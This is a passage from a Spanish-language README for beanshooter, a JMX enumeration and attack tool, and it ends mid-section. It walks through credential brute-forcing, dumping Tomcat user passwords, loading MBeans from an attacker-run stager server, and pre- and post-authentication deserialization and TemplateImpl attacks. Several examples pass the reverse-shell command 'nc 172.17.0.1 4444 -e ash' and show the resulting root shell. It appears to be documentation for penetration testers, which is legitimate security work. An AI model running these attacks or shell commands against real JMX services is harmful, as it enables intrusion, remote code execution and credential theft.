qtc-de/beanshooterHerramienta de enumeración y ataque JMX.
beanshooter es una herramienta de enumeración y ataque JMX que ayuda a identificar vulnerabilidades comunes en endpoints JMX.
beanshooter es un proyecto maven y la instalación debería ser sencilla. Con maven
instalado, solo ejecute los siguientes comandos para crear un archivo .jar ejecutable:```console
[qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter
[qtc@devbox ~]$ cd beanshooter
[qtc@devbox ~]$ mvn package
También puede usar paquetes precompilados que se crean para [cada lanzamiento](https://github.com/qtc-de/beanshooter/releases).
Los paquetes precompilados para la rama de desarrollo se crean automáticamente y se pueden encontrar en la *GitHub*
[página de acciones](https://github.com/qtc-de/beanshooter/actions). También hay una imagen Docker precompilada para ejecutar *beanshooter*
[disponible](#docker-image).
*beanshooter* no incluye *ysoserial* como dependencia. Para habilitar el soporte de *ysoserial*, debe especificar la ruta
a su archivo ``ysoserial.jar`` como argumento adicional (por ejemplo, ``--yso /opt/ysoserial.jar``) o cambiar la
ruta predeterminada dentro del [archivo de configuración de beanshooter](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) antes de construir el proyecto.
*beanshooter* admite autocompletado para *bash*. Para aprovechar el autocompletado, necesita tener el
proyecto [completion-helpers](https://github.com/qtc-de/completion-helpers) instalado. Si la configuración es correcta, simplemente
copiar el [script de autocompletado](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter) en su carpeta ``~/.bash_completion.d`` habilita
el autocompletado.```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/
Las diferentes operaciones de beanshooter se pueden dividir en dos grupos: operaciones básicas y operaciones MBean. Mientras que las operaciones básicas se utilizan para realizar operaciones generales en un endpoint JMX, las operaciones MBean se dirigen a un MBean específico con el que interactuar. Para más detalles, consulta los ejemplos de uso en las siguientes secciones.```console [qtc@devbox ~]$ beanshooter -h usage: beanshooter [-h] ...
beanshooter v3.0.0 - a JMX enumeration and attacking tool
positional arguments:
Basic Operations attr set or get MBean attributes brute bruteforce JMX credentials deploy deploys the specified MBean on the JMX server enum enumerate the JMX service for common vulnerabilities info display method and attribute information on an MBean invoke invoke the specified method on the specified MBean list list available MBEans on the remote MBean server serial perform a deserialization attack stager start a stager server to deliver MBeans undeploy undeploys the specified MBEAN from the JMX server
MBean Operations diagnostic Diagnostic Command MBean hotspot HotSpot Diagnostic MBean mlet default JMX bean that can be used to load additional beans dynamically recorder jfr Flight Recorder MBean tomcat tomcat MemoryUserDatabaseMBean used for user management tonka general purpose bean for executing commands and uploading or download files
named arguments: -h, --help show this help message and exit
### Operaciones Básicas
---
Las operaciones básicas son operaciones de propósito general que se pueden realizar en un servicio JMX. Por lo general, son
operaciones que no apuntan a un MBean específico o que apuntan a un MBean sin soporte integrado por parte de beanshooter.
#### Attr
La acción `attr` se puede usar para obtener o establecer atributos en un *MBean* especificado. Para obtener los atributos disponibles,
se debe usar la acción `info`:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
Cuando solo se especifica el nombre del atributo, beanshooter obtiene y muestra el valor actual del atributo:```console [qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose false
Cuando se especifica un valor adicional, *beanshooter* intenta establecer el atributo correspondiente. Para aquellos atributos que tengan un tipo diferente a *String*, es necesario especificar el tipo de atributo usando la opción `--type`:```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true
La acción brute realiza un ataque de fuerza bruta en un servicio JMX protegido por contraseña. Cuando se ejecuta sin argumentos opcionales adicionales, beanshooter utiliza una lista de palabras incorporada con algunas combinaciones comunes de usuario-contraseña. Para ataques más dedicados, debe usar las opciones --username-file y --password-file para especificar listas de palabras más exhaustivas.```console
[qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090
[+] Reading wordlists for the brute action.
[+] Reading credentials from internal wordlist.
[+]
[+] Starting bruteforce attack with 10 credentials.
[+]
[+] Found valid credentials: admin:admin
[+] [10 / 10] [########################################] 100%
[+]
[+] done.
#### Despliegue
La acción `deploy` se puede utilizar para desplegar un *MBean* en un servicio *JMX*. Esta acción **no debe** usarse para desplegar *MBeans* con soporte predeterminado como, por ejemplo, el *TonkaBean*. El despliegue de *MBeans* con soporte predeterminado debe realizarse a través de las correspondientes [operaciones de MBean](#mbean-operations).
Cuando el *MBean* que desea desplegar ya es conocido por el servicio *JMX*, basta con especificar el nombre de clase de la clase *MBean* implementadora y el `ObjectName` deseado:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: StringMonitor
[+] MBean with object name qtc.test:type=Monitor was successfully deployed.
Cuando la clase MBean no es conocida por el servicio JMX, puedes usar las opciones --jar-file y --stager-url para proporcionar una implementación:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: ExampleBean
[+]
[+] MBean class is not known to the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: non.existing.example.ExampleBean
[+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Object: qtc.test:type=Example
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484
[+]
[+] MBean with object name qtc.test:type=Example was successfully deployed.
#### Enum
La acción `enum` enumera algunos detalles de configuración en un endpoint *JMX*. Siempre comprueba si el endpoint *JMX* requiere autenticación y si permite deserialización arbitraria pre-autenticada.```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server requires authentication.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer accepted the payload class.
[+] Configuration Status: Non Default
Cuando no se requiere autenticación, o cuando se especificaron credenciales válidas, la acción enum también intenta enumerar información adicional desde el punto final JMX. Esto incluye una lista de MBeans no predeterminados y e.g. las cuentas de usuario registradas en un servidor Apache tomcat:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 57 MBeans are currently registred on the MBean server.
[+] Listing 39 non default MBeans:
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080")
[...]
[+]
[+] Enumerating tomcat users:
[+]
[+] - Listing 3 tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[...]
Al invocar la acción `enum` en un endpoint protegido por *SASL*, *beanshooter* intenta enumerar el perfil *SASL* que está configurado para el servidor. Esto solo es posible hasta cierto punto y la configuración *TLS* del servidor no se puede enumerar. Si el perfil *SASL* identificado por *beanshooter* no funciona, siempre debes reintentar con/sin la opción `--ssl`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] Credentials are requried and the following hostname must be used: iinsecure.example
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
...
La acción info puede utilizarse para obtener información sobre métodos y atributos de los MBeans disponibles en el servidor MBean.
Cuando se invoca sin argumentos adicionales, se imprime la información de métodos y atributos de todos los MBeans disponibles. Al especificar
un ObjectName adicional, solo se imprime la información de métodos y atributos del MBean especificado:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
#### Invoke
La acción `invoke` se puede utilizar para invocar un método arbitrario en un *MBean* que ya se haya implementado en un punto final *JMX*.
Además del punto final, la acción `invoke` requiere el `ObjectName` del *MBean* objetivo y la firma del método que
desea invocar. Si el método especificado espera argumentos, también deben especificarse. La siguiente lista muestra un ejemplo,
de una invocación de método sin argumentos, donde se invoca el método `vmVersion()` del *MBean* `DiagnosticCommand`:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1
Cuando se invoca un método que requiere parámetros, los argumentos beanshooter especificados se evalúan como código Java. Los tipos de argumentos simples como enteros o cadenas se pueden pasar simplemente especificando su valor correspondiente. Los tipos de argumentos complejos se pueden construir como se haría en Java (por ejemplo, 'new java.util.HashMap()'). El siguiente listado muestra un ejemplo, donde el método help(String[] args) se invoca en el MBean DiagnosticCommand:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }'
Compiler.directives_add
Add compiler directives from file.
Impact: Low
Permission: java.lang.management.ManagementPermission(monitor)
Syntax : Compiler.directives_add
Arguments: filename : Name of the directives file (STRING, no default value)
Para tipos de argumentos más complejos que requieren cierta inicialización, puede usar *beanshooters PluginSystem* y definir una clase personalizada que implemente la [Interfaz IArgumentProvider](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java).
#### Jolokia
Como se describe en la [documentación de Jolokia](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md) de *beanshooters*, casi todas las acciones de *beanshooter* se pueden usar junto con el modificador `--jolokia` para apuntar a puntos finales *JMX* basados en *Jolokia*. Además de este soporte genérico para el adaptador *Jolokia JMX*, *beanshooter* admite una acción `jolokia` dedicada. Esta acción se puede usar para forzar una conexión saliente de un agente *Jolokia* que se ejecuta con el modo proxy habilitado:```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0
El mismo resultado se podría lograr invocando una operación normal de beanshooter como list y usando la opción --jolokia-proxy service:jmx:....
La acción jolokia se agregó como un atajo para que no necesite recordar la sintaxis de JNDI. Al usar la
acción jolokia, la opción --jolokia se asume por defecto.
La acción list imprime una lista de todos los MBeans registrados en el servicio JMX remoto:```console
[qtc@devbox ~]$ beanshooter list 172.17.0.2 9010
[+] Available MBeans:
[+]
[+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager)
[+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool)
[+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate)
[...]
#### Modelo
La acción `model` es una de las operaciones más potentes de *beanshooter* e implementa una técnica
identificada por [Markus Wulftange](https://twitter.com/mwulftange) que permite invocar métodos
Java *public* y *static* arbitrarios. Además, también se pueden invocar métodos de objetos *public*
sobre una instancia de objeto creada por el usuario. Los únicos requisitos son que los argumentos
del método utilizados y la instancia del objeto proporcionada (para métodos *no estáticos*) sean
serializables.
El siguiente listado muestra un ejemplo de uso, donde se proporciona un objeto `File` como instancia
de objeto y se invoca la operación `String[] list()` sobre él:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - [Ljava.lang.String; list()
[...]
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new java.io.File("/")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv
El método setManagedResource siempre está disponible y se puede utilizar para cambiar la instancia del objeto sobre la que operar:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
passwd
shells
opt
modules
mtab
issue
inittab
hosts
...
Al invocar métodos *estáticos*, también se requiere una instancia de objeto. Sin embargo, la clase real de la instancia del objeto no importa. Por ejemplo, si desea invocar `getProperties()` de `java.lang.System`, también podría usar un simple `String` como instancia de objeto. Solo el nombre de clase especificado importa en este caso:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - void runFinalization()
[+] - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] - java.lang.String getProperty(java.lang.String)
[+] - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] - long currentTimeMillis()
[+] - long nanoTime()
[+] - java.lang.SecurityManager getSecurityManager()
[+] - void loadLibrary(java.lang.String)
[+] - java.lang.String mapLibraryName(java.lang.String)
[+] - void load(java.lang.String)
[+] - java.lang.String lineSeparator()
[+] - java.io.Console console()
[+] - java.nio.channels.Channel inheritedChannel()
[+] - java.util.Properties getProperties()
[+] - void setProperties(java.util.Properties)
[+] - java.lang.String clearProperty(java.lang.String)
[+] - java.util.Map getenv()
[+] - java.lang.String getenv(java.lang.String)
[+] - void gc()
[+] - void wait()
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - java.lang.Class getClass()
[+] - void notify()
[+] - void notifyAll()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: "does not matter"
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
--> mixed mode
java.runtime.version
--> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
--> UnicodeLittle
...
La acción model utiliza la reflexión para determinar los métodos disponibles en la clase especificada. Si no tiene la clase disponible localmente, aún puede usarla especificando los métodos disponibles mediante las opciones --signature o --signature-file. Dicho esto, para obtener acceso a clases no predeterminadas, debe proporcionar una instancia de objeto que tampoco sea una clase predeterminada (no presente en rt.jar). Esto es necesario, ya que la clase objetivo debe ser cargada por el mismo ClassLoader que la instancia de objeto proporcionada. Para beanshooters example-server, javax.management.remote.message.VersionMessage es adecuado, ya que esta clase está presente en opendmk_jmxremote_optional_jar que está presente tanto en el cliente como en el servidor. Podemos usar esto como una instancia de objeto para invocar métodos en otras clases personalizadas, como de.qtc.beanshooter.server.utils.Logger:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
[+] Deploying RequiredModelMBean supporting user specified methods
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed.
[+]
[+] Available Methods:
[+] - String getIndent()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'
EMPTY OUTPUT - Just an Indent ;)
Si quieres saber más sobre la técnica que implementa la acción `model`, te recomiendo encarecidamente
esta [entrada de blog](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)
de [CODE WHITE](https://twitter.com/codewhitesec) que la explica con gran detalle.
#### Serial
La acción `serial` se puede utilizar para realizar ataques de deserialización en un punto final *JMX*. Por defecto, la acción
intenta ataques de deserialización posteriores a la autenticación. Para que esto funcione, tu servicio JMX objetivo necesita
permitir el acceso no autenticado o necesitas credenciales válidas:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)
Los servicios JMX también pueden ser vulnerables a ataques de deserialización preautenticados. Para abusar de esto, puede usar el interruptor --preauth:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444 [...] id uid=0(root) gid=0(root) groups=0(root)
Contra los endpoints *JMXMP*, la deserialización preautenticada suele ser posible. Desafortunadamente, no hay forma de enumerar esto adecuadamente durante la acción `enum`. Si encuentras un endpoint *JMXMP*, deberías simplemente intentarlo.
#### Stager
La acción `stager` inicia un servidor de stager que se puede utilizar para entregar *MBeans*. Normalmente, la creación de un servidor stager para la entrega de *MBeans* se realiza automáticamente al usar la acción `deploy` de *beanshooters*. Sin embargo, a veces es necesario usar un servidor independiente. Al usar la acción `stager`, puedes especificar el nombre de un *MBean* incorporado a entregar (por ejemplo, `tonka`) o la palabra clave `custom`. Si se especificó `custom`, las opciones `--class-name`, `--object-name` y `--jar-file` son obligatorias.```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+]
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 93691b8bae4143f087f7a3123641b20d
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a
La acción standard despliega un StandardMBean que implementa la clase TemplateImpl para alcanzar diferentes objetivos. Esta técnica fue identificada por Markus Wulftange y beanshooter la implementa para permitir ejecución de comandos, carga de archivos y despliegue de TonkaBean.```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.
[+] MBean was successfully removed.
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:40033.
id
uid=0(root) gid=0(root) groups=0(root)
La ejecución de comandos mediante la acción `standard` es ciega y no recibes la salida de tu comando.
Además, por defecto tu comando se pasa a `Runtime.exec(String str)`, que no admite funciones especiales
de shell. Si deseas usar funciones de shell, utiliza la opción `--exec-array` y especifica tu comando
de esta forma: `'sh -c echo "my cool command" > /tmp/test.txt'`. Con `--exec-array`, *beanshooter* divide el
comando especificado en tres partes y las pasa a `Runtime.exec(String[] arr)`. Sin embargo, generalmente se
recomienda usar el despliegue *TonkaBean* para ejecutar comandos:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
La gran ventaja en comparación con la acción regular tonka deploy es que la implementación a través de StandardMBean
no requiere una conexión de red saliente. Si una implementación directa a través de standard ... tonka no funciona,
es posible que puedas subir el archivo Jar TonkaBean y cargarlo mediante MLet y el protocolo file://:```console
[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/
[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: ./index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:/tmp/
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known by the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from file:///tmp/index.html
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.
Si quieres saber más sobre la técnica que implementa la acción `standard`, recomiendo encarecidamente
esta [publicación del blog](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)
de [CODE WHITE](https://twitter.com/codewhitesec) que la explica en detalle.
#### Undeploy
La acción `undeploy` elimina el *MBean* con el `ObjectName` especificado del servicio *JMX*:```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.
En contraste con las operaciones básicas que apuntan a la funcionalidad general expuesta por un endpoint JMX, las operaciones MBean apuntan a un MBean específico. Para cada MBean compatible, beanshooter proporciona otro subparser que contiene las operaciones disponibles y las opciones para el MBean correspondiente. La siguiente lista muestra un ejemplo para el MBean mlet y el subparser asociado:```console
[qtc@devbox ~]$ beanshooter mlet -h
usage: beanshooter mlet [-h] ...
positional arguments:
load load a new MBean from the specified URL
attr set or get MBean attributes
deploy deploys the specified MBean on the JMX server
info print server information about the MBean
invoke invoke the specified method on the MBean
stats print local information about the MBean
status checks whether the MBean is registered
undeploy undeploys the specified MBEAN from the JMX server
named arguments: -h, --help show this help message and exit
### Operaciones Genéricas de MBean
---
Algunas operaciones de *beanshooter* están disponibles para cada *MBean* y se demuestran en esta sección.
Estas operaciones genéricas de *MBean* a menudo reflejan funcionalidad de las [operaciones básicas](#basic-operations),
pero sin el requisito de especificar un *ObjectName*.
#### Attr Genérico
La acción `attr` funciona igual que la acción `attr` de las operaciones básicas. Sin embargo, ya no es necesario especificar el *ObjectName*, ya que está contenido dentro del *MBean* especificado.```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase
La acción deploy funciona básicamente como la acción deploy de las operaciones básicas. Sin embargo, dado que el nombre de la clase, ObjectName y el archivo jar de implementación ya están asociados con el MBean especificado, solo necesita especificar la opción --stager-url con esta acción (suponiendo que un archivo jar incorporado esté disponible):```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known to the server.
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 440441bf8c794d40a83caf1e34cd9993
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /440441bf8c794d40a83caf1e34cd9993
[+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed
Desde *beanshooter v4.1.0* en adelante, también es posible desplegar el *TonkaBean* a través de la acción [estándar](#standard).
El despliegue del bean mediante la acción `standard` **no** requiere conexiones de red salientes desde el servidor de destino.
#### Exportación Genérica
A veces no es posible servir una implementación de *MBean* usando el servidor stager de *beanshooters*. Un escenario
común es que las conexiones salientes hacia tu máquina local estén bloqueadas. En estas situaciones, es posible que desees
cargar el *MBean* desde otra ubicación, como un servicio *SMB* en la red interna donde tengas acceso de
escritura.
La acción `export` exporta el archivo *jar* que implementa el *MBean* especificado y un documento *MLet HTML*
correspondiente necesario para cargar el *MBean* usando *MLet*. Suponiendo que deseas servir el *TonkaBean*
desde un servicio *SMB* escuchando en `10.10.10.5`, podrías usar el siguiente comando:```console
